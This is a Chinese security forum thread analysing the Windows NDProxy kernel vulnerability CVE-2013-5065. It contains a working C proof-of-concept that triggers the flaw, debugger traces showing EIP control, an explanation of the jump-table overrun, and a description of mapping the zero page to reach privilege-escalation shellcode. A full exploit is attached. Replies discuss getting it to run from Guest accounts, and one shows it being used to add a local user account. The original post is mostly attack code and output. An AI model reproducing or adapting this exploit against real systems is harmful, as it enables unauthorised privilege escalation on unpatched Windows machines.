首页
论坛
课程
招聘
[原创]CVE-2013-5065 PoC EXP及简要分析
2013-12-3 19:24 3476

[原创]CVE-2013-5065 PoC EXP及简要分析

2013-12-3 19:24
3476
PoC: 
#include <windows.h>
#include <stdio.h>
int main()
{
    HANDLE hDev = CreateFile("\\\\.\\NDProxy", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    if(hDev==INVALID_HANDLE_VALUE)
    {
        printf("CreateFile Error:%d\n",GetLastError());
    }
    DWORD InBuf[0x15] = {0};
    DWORD dwRetBytes  = 0;
    *(InBuf+5) = 0x7030125;
    *(InBuf+7) = 0x34;
    
    DeviceIoControl(hDev, 0x8fff23cc, InBuf, 0x54, InBuf, 0x24, &dwRetBytes, 0);
    CloseHandle(hDev);
    
    return 0;
}


XP执行蓝屏, 异常在PxIODispatch上: 
b203ec14 f88ed145 81f31a30 81a76c10 81f2b2c0 0x38
b203ec34 804ef129 81f46ed8 000001b0 806d32d0 NDProxy!PxIODispatch+0x2b3
b203ec44 80575dde 81e16df0 81a76c10 81e16d80 nt!IopfCallDriver+0x31
b203ec58 80576c7f 81f46ed8 81e16d80 81a76c10 nt!IopSynchronousServiceTail+0x70
b203ed00 8056f4ec 000007e8 00000000 00000000 nt!IopXxxControlFile+0x5e7
b203ed34 8053e648 000007e8 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
b203ed34 7c92e4f4 000007e8 00000000 00000000 nt!KiFastCallEntry+0xf8
0012fe4c 7c92d26c 7c801675 000007e8 00000000 ntdll!KiFastSystemCallRet
0012fe50 7c801675 000007e8 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0012feb0 004010c2 000007e8 8fff23cc 0012ff28 0x7c801675
0012ff80 004012e9 00000001 00380fc0 00381058 0x4010c2
0012ffc0 7c817067 00241fe4 0012f7bc 7ffde000 0x4012e9
0012fff0 00000000 00401200 00000000 78746341 0x7c817067


IDA定位到PxIODispatch: 

kd> bp NDProxy!PxIODispatch下断:

LockState+0xC正好是InBuf的指针












到这里可以看到EIP已经被控制到0x38了。
18008这里是一个跳转表,控制这个跳转是由

*(InBuf+5) = 0x7030125;


来控制最终的跳转偏移: (0x7030125-0x7030101)*3*4=0x1B0
0x18008+0x1B0=0x181B8,此时可以看到这个位置已经并非一个函数地址,而是0x38



这个漏洞产生的原因就是因为对*(InBuf+5)的内容没有进行检查,导致可以超出跳转表的范围,致使最终控制了EIP。



既然已经控制到0x38,那么自然想到0地址分配,上面这张图在0x38布置了一个跳板,使其跳向了shellcode,最终通过shellcode执行提权操作。


EXP: 
CVE-2013-5065.zip

最后说一下个人对这个漏洞的评价: 
首先是影响范围: XP SP3和2003 SP2, 这两个属于即将淘汰的系统了;
第二是要开启Routing and Remote Access服务 这个服务默认是关闭的;
经过测试发现, 启动Remote Access Auto Connection Manager这个服务也是可以成功的;
---------------
PS:感谢ProgmBoy指点,确实是Createfile参数没有设置正确,导致Guset权限下无法正常打开。
--The 3nd--
其实我啥都不会, 上面都是我瞎编的, 实在编不下去了

[培训] 优秀毕业生寄语:恭喜id:一颗金柚子获得阿里offer《安卓高级研修班》火热招生!!!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (18)
雪    币: 180
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
kxzjchen 活跃值 2013-12-3 19:54
2
0
007牛,顶你
雪    币: 256
活跃值: 活跃值 (15)
能力值: ( LV13,RANK:270 )
在线值:
发帖
回帖
粉丝
冰雪风谷 活跃值 6 2013-12-3 19:54
3
0
Routing and Remote Access
额,试了半天,原来问题是这,擦。
雪    币: 396
活跃值: 活跃值 (546)
能力值: ( LV3,RANK:25 )
在线值:
发帖
回帖
粉丝
KooJiSung 活跃值 2013-12-3 20:52
4
0
速度真快
雪    币: 357
活跃值: 活跃值 (177)
能力值: ( LV2,RANK:140 )
在线值:
发帖
回帖
粉丝
ProgmBoy 活跃值 3 2013-12-3 21:29
5
0
binvul上已经回了。 guest下都可以跑。你的CreateFile方式不对
雪    币: 68
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
uing 活跃值 2013-12-3 22:07
6
0
感谢大牛指导, 已在Guest下测试成功;
再次感谢;
雪    币: 1356
活跃值: 活跃值 (344)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
仙果 活跃值 19 2013-12-3 23:58
7
0
楼主同学整理下帖子,一堆的图片,谁晓得你是讲啥子的,我这边给你加分也没有理由呀
雪    币: 1112
活跃值: 活跃值 (94)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
ycmint 活跃值 5 2013-12-4 11:37
8
0
DeviceIoControl(hDev, 0x8fff23cc, InBuf, 0x54, InBuf, 0x24, &dwRetBytes, 0);   除了0x24 是为了安排执行内存精心构造的,其他的几个都是为了逻辑跳转准备的 ,一直好奇 f87f1838这个Table,系统为啥是这样 ...
雪    币: 184
活跃值: 活跃值 (91)
能力值: ( LV13,RANK:520 )
在线值:
发帖
回帖
粉丝
半斤八兩 活跃值 10 2013-12-4 23:43
9
0
7爷手上有好多0day吖~  
雪    币: 184
活跃值: 活跃值 (91)
能力值: ( LV13,RANK:520 )
在线值:
发帖
回帖
粉丝
半斤八兩 活跃值 10 2013-12-5 13:16
10
0
貌视可以写一个 kernel fuzz~
雪    币: 68
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
uing 活跃值 2013-12-5 23:05
11
0
exp代码都给你了, 党国大业就交给你了;
雪    币: 22
活跃值: 活跃值 (15)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
isng 活跃值 1 2013-12-6 15:08
12
0
楼主分析不错,我也是前几天分析的,一直没注意到CreateFile的地方。。。纠结了半天
雪    币: 31
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tried 活跃值 2013-12-6 15:28
13
0
都是大牛啊
雪    币: 155
活跃值: 活跃值 (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kman 活跃值 2013-12-7 22:56
14
0
唉,根本都没明白这个漏洞的本质就来这里贴。。
雪    币: 20
活跃值: 活跃值 (648)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
riusksk 活跃值 41 2013-12-8 14:52
15
0
没想到win还有这种弱智漏洞
雪    币: 396
活跃值: 活跃值 (546)
能力值: ( LV3,RANK:25 )
在线值:
发帖
回帖
粉丝
KooJiSung 活跃值 2013-12-8 14:57
16
0
.......
雪    币: 155
活跃值: 活跃值 (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kman 活跃值 2013-12-8 22:08
17
0
理解了这个漏洞就能明白其实这个漏洞其实并不弱智,属于一个比较隐蔽的小失误,编程时稍微一马虎就可能出 。
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
游戏设计之神 活跃值 2013-12-10 17:39
18
0
C:\>whoami
whoami
nt authority\network service

C:\>CVE-2013-5065.exe net user test test /add
CVE-2013-5065.exe net user test test /add
open \\.\NDProxy fail

啥情况呀?
雪    币: 83
活跃值: 活跃值 (22)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
instruder 活跃值 4 2014-2-12 09:44
19
0
===============
游客
登录 | 注册 方可回帖
返回